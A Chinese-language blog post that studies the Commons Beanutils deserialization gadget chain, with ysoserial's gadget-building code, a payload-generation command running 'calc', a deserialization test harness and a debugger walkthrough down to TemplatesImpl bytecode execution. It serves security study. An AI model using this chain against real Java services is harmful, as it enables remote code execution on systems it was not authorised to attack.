Java Commons Beanutils 调用链

前言:想去看相关漏洞利用的时候,用到的利用链大部分都有用到这条利用链,自己得去学习,要不然不好看懂文章

关于Commons Beanutils PropertyUtils getProperty的特性(2021.7.28补)

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。

Commons Beanutils项目中提供了一个静态方法PropertyUtils#getProperty,让使用者可以直接调用任意JavaBean的getter方法

Person类定义如下,它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头

public class Person{
    private String name = "chiling";

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

这里则是通过Commons Beanutils的getProperty方法来进行获取对应的JavaBean的属性

public class GetterStudy {
    public static void main(String[] args) throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        Object name = PropertyUtils.getProperty(new Person(), "name");
        System.out.println(name);
    }
}

结果如下,可以发现通过Commons Beanutils能够更加方便对JavaBean的属性操作

Commons Beanutils在反序列化中getProperty利用

通过上面Commons Beanutils自带的getProperty方法的特性,那么我们可以看下这个方法都是在哪里进行调用的,调用这个getProperty方法的方法的参数又是否可控?

可以注意到BeanComparator这个类有进行调用getProperty,调用这个方法的是compare方法

到这里可能就会想到通过PriorityQueue作为反序列化的入口点

如果想要利用的话,那么o1的property这个属性我们需要动手脚才可以,这里给出的利用就是通过TemplatesImpl的outputProperties对应的getter方法getOutputProperties,这里不细讲了,可以看下面的分析

调用链分析

yso构造的利用代码如下:

	public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final BeanComparator comparator = new BeanComparator("lowestSetBit");

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
		// stub data for replacement later
		queue.add(new BigInteger("1"));
		queue.add(new BigInteger("1"));

		// switch method called by comparator
		Reflections.setFieldValue(comparator, "property", "outputProperties");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = templates;

		return queue;
	}

老样子,sink点用的还是TemplatesImpl这个对象

新知识点:BeanComparator

这个类之前分析cc1-4的时候没有见过,我重新看了下cc2的PriorityQueue触发链,当时用的是TransformingComparator来进行包装的InvokerTransformer,而cc4用的的TransformingComparator包装的InstantiateTransformer和ChainedTransformer

所以这里BeanComparator这个对象是第一次见!

final BeanComparator comparator = new BeanComparator("lowestSetBit");

后面的操作就是跟平常一样,进行了封装,那么这里唯一没有见过的就是new BeanComparator("lowestSetBit");

接着来看下BeanComparator的构造函数,如下,其实看到,BeanComparator对象最终生成的comparator为ComparableComparator这个对象

    public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

    public BeanComparator(String property, Comparator<?> comparator) {
        this.setProperty(property);
        if (comparator != null) {
            this.comparator = comparator;
        } else {
            this.comparator = ComparableComparator.getInstance();
        }

    }

大家都知道 PriorityQueue中最终的触发来自comparator.compare,所以我这里把BeanComparator的compare方法放到下面

    public int compare(T o1, T o2) {
        if (this.property == null) {
            return this.internalCompare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.internalCompare(value1, value2);
            } catch (IllegalAccessException var5) {
                throw new RuntimeException("IllegalAccessException: " + var5.toString());
            } catch (InvocationTargetException var6) {
                throw new RuntimeException("InvocationTargetException: " + var6.toString());
            } catch (NoSuchMethodException var7) {
                throw new RuntimeException("NoSuchMethodException: " + var7.toString());
            }
        }
    }

直接来跟踪代码查看,看看怎么走的

环境:jdk8u181 commons-beanutils:1.9.2 commons-collections:3.1 commons-logging:1.2

生成下payload:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "calc" > cb.txt

public class Test {
    public static void main(String[] args) {
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("cb.txt"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("cb.txt"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行结果:

调试过程

打断点,调试来到PriorityQueue的readOjbect的地方

继续走,heapify方法

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

siftDown

siftDownUsingComparator

F7跟进,到这里就需要看它是如何运行的了,跟前面讲的一样,会来到BeanComparator的compare方法中

我们没有看到它的构造函数是怎么走的,因为这里是反序列化,所以我这里就直接看此时的this的属性中包含的属性了,可以看到comparator是一个ComparableComparator的对象,那么跟上面说的一样

F7慢慢走,调用了PropertyUtils.getProperty,首先来到的ProperUtil类的getProperty方法

接着实例化了PropertyUtilsBean调用getProperty

该PropertyUtilsBean对象的getProperty方法中又会继续调用getNestedProperty,最终会调用其中的getSimpleProperty方法

最后来到了PropertyUtil类的invokeMethod方法,这个方法看起来会调用方法

来看看这个invokeMethod,再进入这个方法前,它做了如下的事情,它会获取bean对应的name方法,这个的bean为TemplateImpl的对象,name为outputProperties,通过下面getPropertyDescriptor方法

getPropertyDescriptor的方法中,获得了对应outputProperties对象的readMethod,也就是getOutputProperties方法名

接着就是通过反射获取名字getOutputProperties的方法对象Method

接着就是调用这个方法getOutputProperties

反射调用getOutputProperties

又来到了如下的地方,最终进行实例化_bytecode触发命令执行

tabby反序列化链挖掘(2022.8.30补)

sink:PropertyUtils.getProperty(因为这个方法满足执行Runtime类的条件,所以就相当于sink,它能够任意调用getter方法,通过该getter去调用TemplatesImpl的getOutputProperties方法实例化我们注入的class类最终造成命令执行)

到这里的话我们就已经确定了sink点,也就是该PropertyUtils.getProperty方法

作为序列化链挖掘的话 一共三个点,分别为 source-chains-sink ,那么还差source-chains

那这里肯定还有疑问,我为什么不能将PropertyUtils.getProperty作为chains和sink,其实也可以,那么这里的话就需要满足source在反序列化的时候直接能调用PropertyUtils.getProperty方法,并且PropertyUtils.getProperty的两个参数能直接控制

所以就继续找哪里会调用PropertyUtils.getProperty,这里找的就是org.apache.commons.beanutils.BeanComparator#compare

org.apache.commons.beanutils.BeanComparator#compare

java.util.PriorityQueue#siftDownUsingComparator

java.util.PriorityQueue#siftDown

java.util.PriorityQueue#heapify

java.util.PriorityQueue#readObject

且comparator属性没静态和瞬时,那么我们是可以控制的,并且存在readobject那么满足source的点

那么上面的五条调用函数则是chains,此时则是完整的一个反序列化调用链

posted @ 2021-06-12 14:54  zpchcbd  阅读(180)  评论(0)    收藏  举报